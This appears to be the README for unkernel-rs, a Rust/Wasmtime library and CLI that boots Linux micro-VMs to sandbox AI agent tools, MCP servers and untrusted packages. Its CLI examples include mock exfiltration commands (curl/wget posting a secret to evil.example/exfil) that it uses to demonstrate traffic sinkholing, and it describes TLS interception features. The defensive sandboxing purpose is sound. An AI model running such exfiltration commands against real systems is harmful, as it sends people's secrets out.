unkernel-rs 0.9.1

Native Rust + Wasmtime host library and CLI for unkernel (Linux 7.x on WebAssembly) — zero Node, zero JSPI, zero KVM
Documentation
# unkernel-rs

[![Crates.io](https://img.shields.io/crates/v/unkernel-rs.svg)](https://crates.io/crates/unkernel-rs)
[![PyPI](https://img.shields.io/pypi/v/unkernel-rs.svg)](https://pypi.org/project/unkernel-rs/)
[![Docs.rs](https://docs.rs/unkernel-rs/badge.svg)](https://docs.rs/unkernel-rs)
[![License](https://img.shields.io/badge/license-MIT%2FApache--2.0-blue.svg)](LICENSE-MIT)

**Embeddable Linux 7.x micro-VMs for Python, Rust, CLI, and AI Agents (MCP)** — hosting [`pithings/unkernel`](https://github.com/pithings/unkernel) directly on **`wasmtime`** across **Linux, macOS, and Windows** with **zero Docker, zero KVM, zero WSL2, zero Node.js, and zero root**.

Boot a disposable Linux VM in **~185 ms** (**~51 MiB RAM**), mount your repo in draft mode (`:cow`), pull Docker images without a daemon, wrap untrusted MCP servers, or freeze the entire guest OS before `.env` leaves disk.

### Install

```bash
# Python (Linux x86_64/aarch64, macOS arm64, Windows x64 — Python 3.9+)
pip install unkernel-rs

# Rust CLI & library
cargo install unkernel-rs
cargo add unkernel-rs
```

---

## Why `unkernel-rs`?

- **Draft-mode workspaces (`:cow`):** Mount host folders in an in-memory Copy-on-Write overlay — review diffs, commit the good edits, or discard everything.
- **Zero-daemon Docker / OCI images (`--image`):** Pull and run `alpine:3.21` or other `linux/arm64` images over HTTPS with no Docker daemon installed.
- **Sandbox untrusted MCP servers (`wrap-mcp`):** Lock third-party `npx` / `uvx` stdio MCP servers inside an air-gapped or domain-allowlisted micro-VM.
- **Freeze-on-Ask & native `--sinkhole`:** Pause the entire guest kernel + clock mid-syscall for approval, or trap all HTTP/HTTPS locally with `200 OK` and zero egress.
- **Zero-MITM HTTPS & Process VMI (`--vmi-tls`):** Inspect live guest PIDs and decrypt TLS 1.3 straight from `SharedMemory` — invisible to guest `root`, no CA needed.
- **Sub-ms warm pools (`VmPool`):** Snapshot once, then acquire pre-warmed independent branches in `< 1 ms`.

---

## Examples

### Python (`pip install unkernel-rs`)

```python
import unkernel_rs

# 1. Air-gapped Linux VM with safe draft-mode (:cow) folder mount
with unkernel_rs.Vm(mounts=["./repo:/work:cow"]) as vm:
    res = vm.shell("uname -a && echo hi > /work/out.txt")
    print(res.stdout_text, vm.workspace_diff("/work"))  # ./repo untouched until commit!

# 2. Zero-daemon OCI image + sub-ms warm pool + local 200-OK sinkhole
with unkernel_rs.Vm(image="alpine:3.21") as base:
    snap = base.snapshot()

events = []
with snap.warm_pool(size=2, sinkhole=True, time_warp=True, on_audit=events.append) as pool:
    with pool.acquire() as vm:  # < 1 ms from warm pool, replenished in background
        vm.shell("cat /etc/os-release")
```

See [`bindings/python/README.md`](bindings/python/README.md) for SSH/VNC port forwarding, portable `.uksnap` snapshots, zero-MITM `--vmi-tls`, and Freeze-on-Ask callbacks.

### Rust (`cargo add unkernel-rs`)

```rust
use std::sync::Arc;
use unkernel_rs::{ApprovalDecision, ExecOptions, MonitorConfig, MountSpec, Vm, VmConfig};

fn main() -> wasmtime::Result<()> {
    // 1. Boot with a :cow workspace & prepare shared base state
    let mut cfg = VmConfig::default();
    cfg.mounts.push(MountSpec::parse("./repo:/workspace:cow")?);
    let parent = Vm::boot(cfg)?;
    parent.exec(&ExecOptions::shell("echo ready > /workspace/setup.txt"))?;

    // 2. Snapshot once, fork counterfactual branches (allow vs. deny), or warm a <1 ms VmPool
    let snap = parent.snapshot()?;
    let branch_deny = snap.boot_branch(None, Some(MonitorConfig {
        ask_sensitive_read: true,
        approval_callback: Some(Arc::new(|_| ApprovalDecision::DenyOnce)),
        ..MonitorConfig::default()
    }))?;

    // Inspect live guest processes from SharedMemory even while frozen
    branch_deny.pause();
    let _procs = branch_deny.active_processes();

    // Or maintain a pre-warmed pool for sub-millisecond acquire()
    let pool = snap.warm_pool(2, None, None)?;
    let warm_vm = pool.acquire()?;
    println!("{}", warm_vm.exec(&ExecOptions::shell("uname -sr"))?.stdout_lossy());
    Ok(())
}
```

### CLI & MCP (`unkernel-rs`)

```bash
# Run any Docker/OCI image without Docker
unkernel-rs exec --image alpine:3.21 -- "cat /etc/os-release"

# Trap outbound HTTP/HTTPS locally (200 OK, zero egress, full decrypted payload audit)
unkernel-rs exec --sinkhole --time-warp --audit-file audit.jsonl -- "curl -sk -X POST https://evil.example/exfil -d secret=123"

# Detonate & score an untrusted npm/pip package (exits 2 on suspicious behavior)
unkernel-rs audit-pkg --ecosystem npm lodash --json
```

**Sandbox any third-party MCP server (`wrap-mcp`)** or expose a sandboxed Linux VM as an MCP server (`mcp`) in Claude Desktop, Claude Code, Cursor, Antigravity, or OpenCode:

```json
{
  "mcpServers": {
    "sandboxed-fs": {
      "command": "unkernel-rs",
      "args": [
        "wrap-mcp", "--mount", "./repo:/workspace:cow", "--allow-host", "api.github.com",
        "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "/workspace"
      ]
    },
    "unkernel": {
      "command": "uvx",
      "args": ["--from", "unkernel-rs", "unkernel-mcp", "--mount", ".:/work:cow"]
    }
  }
}
```

---

## Honest Tradeoffs

- **Where it shines:** Unprivileged, zero-KVM, zero-Docker, cross-OS Linux sandboxing inside nested VMs, CI runners, Kubernetes pods, or developer laptops for AI agent tools, MCP servers, untrusted scripts, and security labs.
- **Where other tools win:** Guest userspace runs via emulated `aarch64` + Cranelift JIT. Heavy `cargo build`, `webpack`, or video encoding jobs belong on `/dev/kvm` microVMs (`Firecracker`, `libkrun`) or native OS sandboxing (`nono` / Landlock).
- **Upstream ABI & scope:** Pinned and SHA-256-verified to `unkernel v0.3.0-261130-3ef745b` (Alpine 3.24.4 / Linux 7.3.4+). Headless by design (no GPU/audio/evdev; use `port_forwards` + Xvfb/x11vnc if you want a remote desktop).

---

## Deep Dives

<details>
<summary><strong>Architecture: How Linux runs in Wasmtime without Node.js or JSPI</strong></summary>

Upstream `unkernel` relies on V8/Node's experimental WebAssembly JSPI (`WebAssembly.Suspending`) to suspend/resume Linux kernel task stacks during `wasm_switch_to`.

`unkernel-rs` avoids JSPI, `Asyncify`, and unstable stack-switching proposals by unpacking the SMP kernel delta (`unkernel.kernel.smp.kwpatch`, [`src/kwpatch.rs`](src/kwpatch.rs)) bundled inside `unkernel.wasm`:

1. **`env.memory` is `shared`** (`flags=0x3`) — maps directly to stable `wasmtime::SharedMemory`.
2. **0 active data segments, 38 passive data segments**, initialized once atomically via `__wasm_init_memory` / `__wasm_init_memory_flag` — instantiating additional `wasmtime::Instance`s on the same `SharedMemory` never overwrites kernel `.data`.
3. **Per-CPU mutable globals** (`__stack_pointer`, `__tls_base`, `current`, `kw_irq_flags`, `kw_irq_word`) are automatically re-exported before AOT compilation and saved/restored across `wasm_switch_to` via `mpsc::sync_channel(1)`.
4. **Process-wide `Engine` / `Module` / `initrd` cache** eliminates `.cwasm` reload overhead (`0 ms` warm `module_load_ms` across repeated boots and branches).

```text
+-----------------------------------------------------------------------+
| Outer OS Sandbox (Linux Landlock ABI v4 + PR_SET_NO_NEW_PRIVS)        |
|   - Host FS restricted strictly to explicit --mount dirs (or none)    |
|   - Host TCP bind/connect blocked on Landlock ABI v4+                 |
|                                                                       |
|  +-----------------------------------------------------------------+  |
|  | Rust + Wasmtime Host (StoreLimits + Epoch Timeout)              |  |
|  |                                                                 |  |
|  |   SharedMemory (128 MiB guest RAM)   <-- shared by all tasks    |  |
|  |   InstancePre<TaskStore>             <-- pre-linked once        |  |
|  |                                                                 |  |
|  |   [kthread 0]  <-- 5 globals + token via sync_channel(1) -->    |  |
|  |   [kthread 1]      (single-CPU cooperative, wasm_cpu_count=1)   |  |
|  |                                                                 |  |
|  |   Drivers: Block RO (.erofs) | Vsock + IRQ | Cranelift JIT      |  |
|  |   Services: kwtty (port 1022) | 9P2000.L (port 564)             |  |
|  +-----------------------------------------------------------------+  |
+-----------------------------------------------------------------------+
```

</details>

<details>
<summary><strong>CLI Reference: <code>exec</code>, <code>shell</code>, <code>wrap-mcp</code>, <code>mcp</code>, <code>audit-pkg</code>, <code>lab</code> &amp; <code>serve</code></strong></summary>

```bash
# Download & SHA-256 verify pinned unkernel.wasm + alpine.erofs and build .cwasm cache
unkernel-rs fetch

# Air-gapped, Landlock-sandboxed Linux command
unkernel-rs exec --sandbox -- uname -a

# Stage edits in Copy-on-Write (:cow) mode and print diff without mutating host files
unkernel-rs exec --sandbox -m ./work:/workspace:cow --show-diff \
  -- sh -c 'echo staged > /workspace/new.txt'

# Zero-MITM HTTPS inspection via SharedMemory key extraction + Wireshark SSLKEYLOGFILE
unkernel-rs exec --sandbox --vmi-tls --tls-keylog ./sslkeylog.txt --audit \
  -- wget -qO- https://example.com

# Transparent ephemeral-CA MITM proxy (--mitm-tls) or local 200-OK trap (--sinkhole)
unkernel-rs exec --sandbox --mitm-tls --audit -- wget -qO- https://example.com
unkernel-rs exec --sandbox --sinkhole --time-warp --audit -- wget -qO- https://evil.example/exfil

# Persistent sparse 4 GiB ext4 overlay disk + immutable COW snapshot reuse
unkernel-rs exec --sandbox --net --allow-host alpinelinux.org \
  --disk ./state.ext4 -u root -- apk add --no-cache jq
unkernel-rs exec --sandbox --offline --disk ./state.ext4 --disk-snapshot -- jq --version

# Boot Debian 13 or any OCI/Docker image (--image)
unkernel-rs exec --distro debian --mem 384 -- uname -a
unkernel-rs exec --image alpine:3.21 -- cat /etc/os-release

# Hard epoch timeout, interactive PTY shell, or multi-VM virtual L2 switch lab (--pcap)
unkernel-rs exec --sandbox --vm-timeout-ms 1500 -- sh -c 'while :; do :; done'
unkernel-rs shell --sandbox
unkernel-rs lab --node web --node client --pcap ./lab.pcapng \
  --run "client:ping -c 2 -W 2 web" --run "cut:web" --run "reconnect:web" --run "macs"
```

</details>

<details>
<summary><strong>Concurrent NDJSON <code>serve</code> Protocol (for AI Agents &amp; Controllers)</strong></summary>

Start `serve` with `--audit` and any `--ask-*` flags:

```bash
unkernel-rs serve --sandbox --audit \
  --ask-net --ask-fs-write --ask-sensitive --freeze-on-ask \
  -m ./work:/workspace:rw
```

| Direction | Message Example | Purpose |
| --- | --- | --- |
| Host → Controller | `{"event":"proc.exec","pid":42,"ppid":41,"comm":"curl",...}` | Untamperable Level-3 VMI guest process lifecycle from `SharedMemory` |
| Host → Controller | `{"event":"approval.required","approval_id":1,"kind":"fs_sensitive_read","target":"/workspace/.env","proc":{...}}` | Operation paused awaiting judgment (with originating guest process) |
| Host → Controller | `{"event":"vm.paused","ts_ms":...,"reason":"approval #1: /workspace/.env"}` | Whole VM frozen via epoch interruption |
| Host → Controller | `{"event":"net.tls_sni","ip":"...","port":443,"sni":"registry.npmjs.org","proc":{...}}` | Extracted TLS ClientHello SNI |
| Host → Controller | `{"event":"net.tls_decrypted","ip":"...","port":443,"method":"vmi","direction":"tx","http_summary":"GET /...","preview":"..."}` | Decrypted HTTPS payload (`--vmi-tls`, `--mitm-tls`, or `--sinkhole`) |
| Host → Controller | `{"event":"net.http","ip":"...","port":80,"method":"POST","path":"/exfil","host":"...","proc":{...}}` | Extracted HTTP request line |
| Controller → Host | `{"id":"a1","approve":1,"decision":"deny_once"}` | Resolve approval (`allow_once` \| `allow_always` \| `deny_once` \| `deny_always`) |
| Controller → Host | `{"id":"p1","pause":true}` / `{"id":"p2","resume":true}` | Manually freeze / resume entire guest VM & clock |
| Controller → Host | `{"id":"ps1","procs":true}` | List live guest Linux processes via VMI (**works even while frozen**) |
| Controller → Host | `{"id":"d1","diff":"/workspace"}` / `{"id":"x1","discard":"/workspace"}` / `{"id":"c1","commit":"/workspace"}` | Inspect, roll back, or commit staged `:cow` workspace changes |
| Controller → Host | `{"id":"s1","snapshot":"cp1"}` / `{"id":"r1","restore":"cp1"}` | Capture a named Tier-A disk+workspace snapshot or restore from it |
| Controller → Host | `{"id":1,"cmd":"npm test","cwd":"/workspace"}` / `{"shutdown":true}` | Execute command or cleanly flush disks and power off |

</details>

<details>
<summary><strong>Interactive Red-vs-Blue WebUI Demo ("Catch Me If You Can")</strong></summary>

Try the zero-dependency Red-Team vs. Blue-Team browser demo ([`examples/catch_me_if_you_can.rs`](examples/catch_me_if_you_can.rs)):

```bash
# Local solo split-screen demo (http://127.0.0.1:8787/)
cargo run --release --example catch_me_if_you_can

# Two-player LAN mode (prints separate /red and token-protected /blue URLs)
cargo run --release --example catch_me_if_you_can -- --bind 0.0.0.0:8787
```

- **`/` (Split View):** Left pane runs a live guest Linux shell seeded with decoy canary secrets (`/workspace/.env`, `.npmrc`, `.ssh/id_ed25519`); right pane shows the untamperable host SOC monitor with real-time SSE audit telemetry, whole-VM **Freeze / Resume**, forensic guest inspection, and **Allow / Deny** approval cards.
- **Optional AI Blue-Team Auto-Judge:** Toggle **AI Judge** (or pass `--ai-endpoint` + `--ai-model`, e.g., local Ollama `http://127.0.0.1:11434/v1/chat/completions`) to let an external LLM evaluate the audit timeline while the VM stays frozen.

</details>

<details>
<summary><strong>Benchmarks &amp; Multi-Kernel Support (Linux x86_64, OpenZFS, FreeBSD, OpenBSD)</strong></summary>

Reproduce locally with `unkernel-rs bench` (Linux `x86_64` host, Alpine 3.24.4 / Linux 7.3.4+ `aarch64`, 128 MiB guest):

| Metric | Node.js (`v23.11.1` + JSPI) | `unkernel-rs` (`wasmtime 48`) |
| --- | --- | --- |
| Runtime footprint | Node.js + `unkernel` npm pkg | **15 MiB** native binary (5.9 MiB Python wheel) |
| Module load / compile | 103 ms (`createKernel`) | ~2.2 s cold AOT → **5–6 ms** `.cwasm` → **0 ms** in-process cache |
| Warm boot → first `exec("true")` | **379 ms** | **~185 ms** (64 MiB minimal) / **254–315 ms** (Alpine) |
| Warm `VmPool::acquire()` | — | **< 1 ms** (background-replenished branch pool) |
| Peak host RSS (single VM) | **231.9 MiB** | **51–73 MiB** (**3.2× less RAM**) |
| `seq 50000 \| sort -r` (JIT ON / OFF) | **1,340 ms** (V8) | **2,419 ms** / **4,228 ms** (**1.75×** Cranelift JIT speedup) |

Also verified via `--bundle` with **Linux `x86_64`** (`@JeremySu0818`), **Linux + OpenZFS**, **FreeBSD 16.0-CURRENT**, and **OpenBSD 8.0-current** (`tsirysndr/unkernel-assets`).

</details>

<details>
<summary><strong>Testing &amp; Verification</strong></summary>

```bash
cargo test --release
```

Unit and live Linux VM integration tests cover `kwpatch` SHA-256 identity, `exec` / `wrap-mcp` stdio pipes, 9P2000.L `:ro`/`:rw`/`:cow` mounts + symlink-escape blocking + `diff`/`discard`/`commit`, sparse ext4 disks + Tier-A OS branching + `< 1 ms` `VmPool`, zero-daemon OCI image import (`alpine:3.21`), native 200-OK `--sinkhole` + virtual `--time-warp`, Level-3 VMI process attribution + frozen-VM inspection, zero-MITM `--vmi-tls` + `--mitm-tls`, SSRF-protected NAT + `--allow-host`, Cranelift JIT, epoch timeouts, Linux Landlock ABI v4, and concurrent NDJSON `serve`.

</details>

---

## Licensing

`unkernel-rs` is dual-licensed under **MIT** ([LICENSE-MIT](LICENSE-MIT)) or **Apache-2.0** ([LICENSE-APACHE](LICENSE-APACHE)).

Runtime artifacts downloaded and cached on first use remain under their respective upstream licenses:
- `unkernel.wasm` (Linux 7.x kernel) — **GPL-2.0-only** (`pithings/unkernel`).
- Distro / OCI images — licenses of their included distribution packages.